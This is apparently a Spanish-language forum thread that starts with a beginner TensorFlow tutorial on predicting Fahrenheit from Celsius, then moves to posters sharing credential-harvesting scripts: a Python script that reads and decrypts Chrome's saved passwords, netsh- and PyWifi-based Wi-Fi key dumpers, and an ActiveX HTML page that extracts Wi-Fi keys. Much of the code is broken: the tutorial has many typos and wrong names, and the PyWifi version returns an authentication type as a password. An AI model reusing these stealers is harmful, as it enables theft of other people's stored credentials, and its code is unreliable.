vamos a ver cómo funcionan, tenemos el cerebro y la imagen de un gato, la imagen es un input y la funcion del cerebro es predecir que la imagen es un gato, cuando la imagen entra al cerebro (RNA) lo "correlaciona" con "experiencias pasadas" encuentra las características y reconoce. Mas el aprendizaje seria el siguiente, al analizar la imagen calcula cuando es correcto, si se equivocó o no y se genera una perdida (función de perdida) que crea una retroalimentación que se relaciona con una "Actualización de Pesos", todo pasa una y otra vez hasta que la neurona va reduciendo su funcion perdida.


Cargamos una lista con datos de entrenamiento (una tabla de Celsius a Fahrenheit)

Primero importamos la libreria tensorflow en python

import tensorflow as tf

la libreria panda que perdimite cargar el set de datos y trabajar con el en las sets de entrenamiento y prueba básicamente (base de datos y archivos)

import pandas as pd

la libreria numpy nos permite trabajar con matrices y matemátaicas.

import numpy as np

la libreria seaborn para hacer las visualizaciones de nuestro modelo.

import seaborn as sns

finalmente vamos a hacer splots de nuestro modelo para ver los gráficos con la libreria "matplotlib.pyplot"

import matploitlib.pyplot as plt

nota: en caso de no tener las librerias disponibles ejecutar el siguiente comando pip install nombre_de_la_libreria. continuamos

importamos el set de datos (base de datos) del set de entrenamiento

#Importando Datos
temperatura_df = pd.read_csv("celsius_a_fahrenheit.cvs")

el archivo "celsius_a_fahrenheit.cvs" es un documento abierto en excel con dos colummnas, la primera en Celsius (variable independiente) y la segunda en Fahrenheit (este set de datos puede crearse automaticamente usando una macro)

Celsius/Fahrenheit
**** / ****
**** / ****
**** / ****
**** / ****
...
...
...
**** / ****

a mayor cantidad de datos mejor sera en entrenamiento en este caso.

Para la visualización de datos

#visualizacion
sns.scatterplot(temperature_df['Celsius'],temperature_df['Fahrenheit'])

siguiente

#Cargando Set de Datos
X_train = temperature_df['Celsius']
y=train = temperature_df['Fahrenheit']

Creamos el modelo con tensorflow

#Creando el modelo
model = tf.keras.Sequential()

Sequential() significa que vamos a crear nuestro modelo capa por capa de manera "secuencial", recordemos que las neuronas tienen puntos de entrada tienen acciones dendritas sinapsis y todo eso hace a la neurona. entonces vamos a agregar, creamos la primera capa de nuestro modelo con la variable model agregamos la capa con el subcomando ".add()" y usamos el comando "tf.keras.layers"

model.add(tf.keras.layers.Dense(units=1, input_shape[1]))

la capa Dense es de las capaz mas simples, donde los parametros de entrada son "units" cantidad de neuronas en este caso nos basta con solo una e "input_shape" que el valor sera tambien 1.

Cuando trabajamos con IA debemos ver el modelo, con eso vemos la red antes de trabajar.

model.summary()

Las redes neuronales aprenden atravez de la funcion de perdida y ajustes de pesos (sesgos)

#Compilado
model.compile(optimizer=tf.keras.optimizers.Adam(0.5), loss='mean_squared_error')

En estadistica el error medio cuadrado es llamada desviación media cuadrada de un estimador mide el promedio de los cuadrados de los errores, es decir, la diferencia media cuadrada entre los valores estimados. El error medio cuadrado es una función de riesgo que corresponde al valor esperado de la perdida del error al cuadrado. Y lo que buscamos es la perdida del error para poder optimizar nuestra red.

Con lo anterior ya hemos compilado el modelo ahora nos falta una funcion que nos perdida entrena el modelo.
crear una funcion que nos perdima actualizar nuestros pesos corriendo atraves del set de datos para ajustar los pesos, por eso se cargo el set de datos en las variables X_train y y_train. llamos al modelo secuencia y le agregamos una neurona con la capa tipo Dense definiendo una neurona y una salida, compilamos el modelo en base a un optimizador y un modelo de errores.

Tenemos que crear una lista de epochs, el epochs es el numero de ciclos cuando se lee todo el set de entrenamiento.

#Entrenando el modelo
epochs_hist = model.fit(x_train, y_train, epochs = 100)

el entrenamiento dura realmente poco porque estamos trabajando con regresion lineal y porque el set de datos esta definido bajo un numero relativamente pequeño de entradas y salidas (recomendable ajustar la base de datos a 30 lineas en el excel)

cuando entrenamos el modelo veremos que la optimizacion del modelo esta basado en el valor "loss" a menor sea el valor mas exacto es el modelo.

nos interesa ver el historial de entrenamiento

#Evaluando modelo
epochs_hist.history.keys()

obtiene las llaves o claves del entrenamiento

#grafico
plt.plot(epochs_hist.history['loss'])
plt.title('Progreso de perdida durante el entrenamiento del modelo')
plt.xlabel('Epoch')
plt.ylabel('Training Loss')
plt.legends('Training Loss')

Lo anterior muestra la evolucion al modelo respecto a numero de ciclos de entrenamiento "epochs".

obtenemos los pesos del modelo

model.get_weights()

Ahora nos interesa hacer prediciones, comparamos el modelo con la ecuacion "ya que existe la formala determista" con eso evaluamos la exactitud del mismo.

#Predicciones
Temp_C = 0
temp_F = model.predict([Temp_C])
print(temp_F)
 
#formula
Temp_F = (9/5)*Temp_c + 32.
print(Temp_F)

y comparamos. para mejorar la prediccion podemos cambiar el modelo de compilado de 0.5 a 1

#Compilado
model.compile(optimizer=tf.keras.optimizers.Adam(1), loss='mean_squared_error')

Con lo anterior terminamos el modelo basico para iniciar con inteligencia artificial. E aqui el codigo fuente completo.

import tensorflow as tf
import pandas as pd
import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt
 
#impotando Datos
temperature_df = pd.read_csv("celsius_a_fahrenheit.csv")
 
#Visualizacion
sns.scatterplot(temperature_df['celsius'], temperature_df['fahrenheit'])
 
#Cargando Set de Datos
X_train = temperature_df['Celsius']
y_train = temperature_df['Fahrenheit']
 
#Creando el modelo
model = tf.keras.sequential()
model.add(tf.keras.layers.DEnse(units=1, input_shape=[1]))
 
model.summaryÇ()
 
#compilado
model.compile(optimizar=tf.keras.optimizers.Adam(1),loss='mean_squared_error')
 
#Entrenando el modelo
epochs_hist = model.fit(x_train, y_train, epochs=100)
 
#Evaluando modelo
epochs_hist.history.keys()
 
#gafico
plt.plot(epochs_hist.history['loss'])
plt.title('Progreso de perdida durante el entrenamiento del modelo')
plt.xlabel('Epoch')
plt.ylabel('Training Loss')
plt.legends('Training Loss')
 
model.get_weights()
 
#Predicciones
Temp_C = 0
temp_F = model.predict([Temp_C])
print(temp_F)
 
#formula
Temp_F = (9/5)*Temp_c + 32.
print(Temp_F)

Saludos

Saludos comunidad, esto no representa un aporte real sino un codigo que estaba estudiando en python como parte del inicio de mi portafolio personal y me encuentro con el siguiente Script. Requiere 2 librerias

import os
import sqlite3
import win32crypt #pip install pypiwin32
 
def get_chrome():
  data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
  c = sqlite3.connect(data_path)
  cursor = c.cursor()
  select_statement = 'SELECT origin_url, username_value, password_value FROM Logins'
  cursor.execute(select_statement)
 
  login_data = cursor.fetchall()
 
  cred = {}
  string = ''
 
  for url, user_name, pws in login_data:
    pwd = win32crypt.CryptUnprotectData(pwd)
    cred[url] = (user_name, pwd[1].decode('utf8'))
    string += '\n[+] URL:%s USERNAME: %s PASSWORD: %s\n' % (url, user_name, pwd[1].decode('utf8'))
    print(string)
    os.system('pause')
 
if __name__ == '__main__':
  get_chrome()
 
'''
  File "\code\get_chrome.py", line 10, in get_chrome
    cursor.execute(select_statement)
sqlite3.OperationalError: database is locked
'''

me devuelve un error de sqlite3.OperationalError: database is locked.

Saludos

Saludos

Aqui otro aporte en Python una replica del primer script

import subprocess
import re
import os
 
def get_wifi_profiles():
    """Obtiene los nombres de los perfiles de Wi-Fi guardados."""
    try:
        profiles_output = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles'], text=True)
        return re.findall(r'Perfil\s*:\s*(.*)', profiles_output)
    except subprocess.CalledProcessError:
        print("Error al obtener los perfiles de Wi-Fi.")
        return []
 
def get_wifi_password(profile):
    """Obtiene la contraseña de un perfil de Wi-Fi específico."""
    try:
        result = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', profile, 'key=clear'], text=True)
        password_match = re.search(r'Contenido de la clave\s*:\s*(.*)', result)
        return password_match.group(1).strip() if password_match else "La contraseña está vacía"
    except subprocess.CalledProcessError:
        return "Error al obtener la contraseña"
 
def save_to_file(wifi_passwords):
    """Guarda las contraseñas de Wi-Fi en un archivo de texto."""
    computer_name = os.environ['COMPUTERNAME']
    log_file = f'Wifi_Passwords_on_{computer_name}.txt'
 
    with open(log_file, 'w') as f:
        f.write("***********************************************\n")
        f.write(f"Contraseñas de Wi-Fi en {computer_name}\n")
        f.write("***********************************************\n\n")
        for ssid, password in wifi_passwords.items():
            f.write(f"[SSID: {ssid}] => \"{password}\"\n")
    print(f"Contraseñas guardadas en {log_file}")
 
def main():
    wifi_passwords = {}
    profiles = get_wifi_profiles()
 
    for profile in profiles:
        profile = profile.strip()
        password = get_wifi_password(profile)
        wifi_passwords[profile] = password
        print(f"[SSID: {profile}] => \"{password}\"")
 
    save_to_file(wifi_passwords)
 
if __name__ == "__main__":
    main()

Lo anterior es ineficiente ya que llama a la misma funcion netsh wlan. Lo siguiente requiere la libreria PyWifi

import os
import pywifi
from pywifi import const, Profile
 
def get_wifi_passwords():
    """Obtiene los nombres de los perfiles de Wi-Fi y sus contraseñas."""
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]  # Usar la primera interfaz Wi-Fi
 
    wifi_passwords = {}
 
    # Obtener los perfiles guardados
    profiles = iface.scan_results()
 
    for profile in profiles:
        ssid = profile.ssid
        iface.remove_all_networks()  # Limpiar redes anteriores
        iface.add_network_profile(profile)  # Agregar el perfil actual
 
        # Intentar conectarse para obtener la contraseña
        iface.connect(iface.add_network_profile(profile))
        iface.disconnect()  # Desconectar inmediatamente
 
        # Obtener la contraseña
        password = profile.akm[0] if profile.akm else "La contraseña está vacía"
        wifi_passwords[ssid] = password
 
    return wifi_passwords
 
def save_to_file(wifi_passwords):
    """Guarda las contraseñas de Wi-Fi en un archivo de texto."""
    computer_name = os.environ['COMPUTERNAME']
    log_file = f'Wifi_Passwords_on_{computer_name}.txt'
 
    with open(log_file, 'w') as f:
        f.write("***********************************************\n")
        f.write(f"Contraseñas de Wi-Fi en {computer_name}\n")
        f.write("***********************************************\n\n")
        for ssid, password in wifi_passwords.items():
            f.write(f"[SSID: {ssid}] => \"{password}\"\n")
 
    print(f"Contraseñas guardadas en {log_file}")
 
def main():
    wifi_passwords = get_wifi_passwords()
 
    for ssid, password in wifi_passwords.items():
        print(f"[SSID: {ssid}] => \"{password}\"")
 
    save_to_file(wifi_passwords)
 
if __name__ == "__main__":
    main()
 

Saludos

Revisando detenidamente tu perfil es un orgullo saber que fue inspiracion para publicarlo en tu Blog. Me gusto el uso de HTML.

 
<html>
<head><title>Wifi Password</title>
<body>
 
<br><br>
<center>
<textarea id="resultados" cols="90" rows="20"></textarea><br><br>
<input type="button" value="Extraer Password Wifi" onclick="pass()">
</center>
<script>
function pass()
{   
   var exec2,posicion1,posicion2,datos1,datos2
   var shell=new ActiveXObject("wscript.shell")
   var exec1=shell.exec("cmd /c netsh wlan show profile")
 
 
   do
   {
      datos1=exec1.StdOut.ReadLine()
      posicion1="    Perfil de todos los usuarios     : "
 
      if(datos1.indexOf(posicion1)!=-1)
      { 
         datos1=datos1.replace(posicion1,"")
	     exec2=shell.exec("cmd /c netsh wlan show profile " + String.fromCharCode(34) + datos1 + String.fromCharCode(34) + " key=clear")
	     do 
	     {
	        datos2=exec2.StdOut.ReadLine()
		    posicion2="    Contenido de la clave  : "
		    if(datos2.indexOf(posicion2)!=-1)
		    {
		       datos2=datos2.replace(posicion2,"")
			   document.getElementById("resultados").value+="La Password De La Red " + datos1 + "  es : " + datos2 + "\n"
		    }
	     }while(!exec2.StdOut.atEndofStream) 
      }
   }while(!exec1.StdOut.atEndofStream)
}
</script>
</body>
</html>

Saludos. Tambien lo pondre a prueba

Realmente por logica es la que se puede usar del español. aunque si el Hacker conoce tu idioma natal no seria de gran ayuda.

Saludos